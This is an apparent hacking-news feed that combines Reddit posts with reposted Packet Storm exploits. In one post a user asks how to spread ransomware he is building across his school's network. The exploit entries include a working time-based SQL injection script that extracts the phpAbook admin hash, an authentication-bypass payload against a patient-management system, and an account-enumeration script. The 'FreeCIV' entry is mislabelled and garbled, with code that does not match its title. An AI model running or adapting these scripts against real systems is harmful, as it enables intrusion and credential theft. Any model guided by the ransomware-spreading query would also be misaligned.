hacking: security in practice
How does ransomware spread over a network?

Hi all.

My school recently suffered a ransomware attack, which resulted in them having to completely restart everything from scratch (student's work, records, etc.). This has really interested me, and I'm in the process of building a peice of ransomware myself (purely as an exercise, and obviously it's never to leave my own virtual environment).

So far it works great on a single machine - it encrypts all files in the user folder and locks the user out of the computer until payment is received.

However I'm having trouble working out how I would allow this program to spread across the network. Would the hacker responsible for the attack have to have had physical access to the server in order to encrypt everything?

There's a workaround on my school's system which allows you to elevate your local account to administrator, however this does not make you administrator of the network, just admin of that machine. Would this be of use in this application?

Honestly I really do not know how a network works on a fundamental level, so sorry if I am missing something obvious.

But thanks so much for reading, I look forward to hearing your responses.

​

TLDR: School became victim to a ransomware attack - could've potentially gained admin access to a machine, however its unlikely that they had access to the servers directly. How would this have encrypted all data on the network?

submitted by /u/jackweller
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any Hack the Box vets out there?

I just recently signed up on Hack the box and decided to take on an “easy” machine called Archetype. It’s been about a week now and I’ve gained no ground. The write ups aren’t very well explained and there isn’t much on YouTube that actually helps.(They just type commands and do not explain why they chose that command specifically) I’m looking for a possible mentor/friend that has some extra time in their day to hang out and share your knowledge with a beginner.

submitted by /u/seabashchunn
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Where to start off?

Aight so I have been programming for a quite a while now so I wanted to expand my knowledge; I want to learn hacking. But where to start off? Which programming language has a great scope and resources to learn from?

I would prefer a course online rather than a book but letss see what are my options first.

Thanks everyone

submitted by /u/Soccer_Vader
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Should physical pentesters require a special license?
https://www.reddit.com/r/Pentesting/comments/ob1v6h/should_physical_pentesters_require_a_special/

You are probably familiar with Iowa courthouse and Coalfire pentesters jailed in September 2019. Should governments require pentesters be licensed, as to avoid these legal gray areas? Many professions and activaties require special licenses already, from private investigator to insurance sales to strippers... fishing and hunting, you need a license to do anything, let alone break laws. I am treating wire and physical pentesters separate; though the case can be made for both. View Poll (https://www.reddit.com/poll/ob1v6h) submitted by /u/Somanypaswords4 (https://www.reddit.com/user/Somanypaswords4)
[link] (https://www.reddit.com/r/Pentesting/comments/ob1v6h/should_physical_pentesters_require_a_special/) [comments] (https://www.reddit.com/r/Pentesting/comments/ob1v6h/should_physical_pentesters_require_a_special/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
VNC Penetration Testing

In this article, we are discussing Internal Penetration Testing on the VNC server. Through that, we are trying to explain how an attacker can breach security in various scenarios with the installation and configuration, enumeration, and precautions as well. Table of Content Introduction Pre-requisites Lab Setup Port Scanning Bruteforce Port

The post VNC Penetration Testing appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Android 2.0 FreeCIV Arbitrary Code Execution

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
Android version 2.0 exploit for FreeCIV versions 2.2 before 2.2.1 and 2.3 before 2.3.0 that achieves root.

MD5 | 3a7206dc1575a4f0e04e17dc57297340

Download
"""
Android Debug Bridge (ADB) freeciv exploit
Author : Raed-Ahsan
https://linkedin.com/in/raed-ahsan
Android 2.0 Banana Studio
"""

"""
import socket # socket
import subprocess # Subprocess
import pyautogui # PyAutoGui
import time # Time
def connection_function(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(s.recv(1024))

connection_function("10.10.10.247", 2222)
def adb_connection(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(s.recv(1024))

subprocess.call(['ssh -p 2222 -L 5555:localhost:5555 kristi@explorer.htb'], shell=True)
password = "[PASSWORD OF TARGET MACHINE OF SSH]"
print(s.recv(1024))

adb_connection("10.10.10.247", 2222)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
KVM nested_svm_vmrun Double Fetch

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
A KVM guest on AMD can launch a L2 guest without the Intercept VMRUN control bit by exploiting a TOCTOU vulnerability in nested_svm_vmrun. Executing vmrun from the L2 guest, will then trigger a second call to nested_svm_vmrun and corrupt svm->nested.hsave with data copied out of the L2 vmcb. For kernel versions that include the commit "2fcf4876: KVM: nSVM: implement on demand allocation of the nested state" (>=5.10), the guest can free the MSR permission bit in svm->nested.msrpm, while it's still in use and gain unrestricted access to host MSRs.

MD5 | 814987fd3e7902c83f77c7f4aa4a3585

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
phpAbook 0.9i SQL Injection

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
phpAbook version 0.9i suffers from a remote SQL injection vulnerability.

MD5 | ceadee176206060327e5cc0ef90f1775

Download
# Exploit Title: phpAbook 0.9i - SQL Injection
# Date: 2021-06-29
# Vendor Homepage: http://sourceforge.net/projects/phpabook/
# Exploit Author: Said Cortes, Alejandro Perez
# Version: v0.9i
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

import requests
import argparse
import string
import sys
def exploit(session,host):
print("Starting Exploit\nSearching Admin Hash...")
passwordhash = ''
for i in range(1,33):
charset = string.digits + string.ascii_lowercase
for letter in charset:
burp0_url = f"{host}/index.php"
burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}
try:
session.post(burp0_url, data=burp0_data, timeout=1)
except requests.Timeout:
passwordhash += letter
continue
print("admin:"+passwordhash)
if __name__ == "__main__" :
session = requests.session()
parser = argparse.ArgumentParser()
parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)
arg = parser.parse_args()
exploit(session,arg.url)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Doctors Patients Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Doctors Patients Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | fb9af03a5ee38e11615bb8c1c7a35654

Download
# Exploit Title: Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)
# Date: 06/30/2021
# Exploit Author: Murat DEMIRCI (butterflyhunt3r)
# Vendor Homepage: https://www.codester.com/
# Software Link: https://www.codester.com/items/31349/medisol-doctors-patients-managment-system
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :
http://test.com/PATH/signin

# Username : anything
# Password : ' or '1'='1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache Superset 1.1.0 Account Enumeration

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Apache Superset version 1.1.0 suffers from a time-based account enumeration vulnerability.

MD5 | 79699f800c9b8c66297545ad1eaae6cc

Download
# Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration
# Author: Dolev Farhi
# Date: 2021-05-13
# Vendor Homepage: https://superset.apache.org/
# Version: 1.1.0
# Tested on: Ubuntu

import sys
import requests
import time

scheme = 'http'
host = '192.168.1.1'
port = 8080

# change with your wordlist
usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']

url = '{}://{}:{}'.format(scheme, host, port)
login_endpoint = '/login/'

session = requests.Session()

def get_csrf():
token = None
r = session.get(url + login_endpoint, verify=False)

for line in r.text.splitlines():
if 'csrf_token' in line:
try:
token = line.strip().split('"')[-2]
except:
pass
return token

csrf_token = get_csrf()

if not csrf_token:
print('Could not obtain CSRF token, the exploit will likely fail.')
sys.exit(1)

data = {
'csrf_token':csrf_token,
'username':'',
'password':'abc'
}

attempts = {}
found = False

for user in usernames:
start = time.time()
data['username'] = user
r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True)
roundtrip = time.time() - start
attempts["%.4f" % roundtrip] = user

print('[!] Accounts existence probability is sorted from high to low')

count = 0

for key in sorted(attempts, reverse=True):
count += 1
print("%s. %s (timing: %s)" % (count, attempts[key], key))


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Securepoint SSL VPN Client 2.0.30 Local Privilege Escalation

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Securepoint SSL VPN Client version 2.0.30 suffers from a local privilege escalation vulnerability.

MD5 | 208329c265e24386a862dffeddea96d3

Download
Local Privilege Escalation in Securepoint SSL VPN Client 2.0.30

Metadata
===================================================
Release Date: 29-Jun-2021
Author: Florian Bogner @ https://bee-itsecurity.at
Affected product: Securepoint SSL VPN Client
Fixed in: version 2.0.32
Tested on: Windows 10 x64 fully patched
CVE: CVE-2021-35523
URL: https://bogner.sh/2021/06/local-privilege-escalation-in-securepoint-ssl-vpn-client-2-0-30/
Vulnerability Status: Fixed with new release

Vulnerability Description (copied from the CVE Details)
===================================================
Securepoint SSL VPN Client v2 before 2.0.32 on Windows has unsafe configuration handling that enables local privilege escalation to NT AUTHORITY\SYSTEM. A non-privileged local user can modify the OpenVPN configuration stored under "%APPDATA%\Securepoint SSL VPN" and add a external script file that is executed as privileged user.

A full vulnerability description is available here: https://bogner.sh/2021/06/local-privilege-escalation-in-securepoint-ssl-vpn-client-2-0-30/

Suggested Solution
===================================================
End-users should update to the latest available version.

Disclosure Timeline
===================================================
14.04.2021: The vulnerability was discovered and reported to security@securepoint.de
15.04.2021: The report was triaged
26.04.2021: Securepoint SSL VPN Client Version 2.0.32 was released, which contains an initial fix for the vulnerability
23.06.2021: Securepoint SSL VPN Client Version 2.0.34 was released, which contains additional security measures.
28.06.2021: CVE-2021-35523 was assigned: https://nvd.nist.gov/vuln/detail/CVE-2021-35523
29.06.2021: Responsible disclosure in cooperation with Securepoint: https://github.com/Securepoint/openvpn-client/security/advisories/GHSA-v8p8-4w8f-qh34

___________

Florian Bogner
Information Security Expert, Speaker

Bee IT Security Consulting GmbH
Nibelungenstraße 37
3123 A-Schweinern

Mail: florian.bogner@bee-itsecurity.at
Web: https://www.bee-itsecurity.at

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video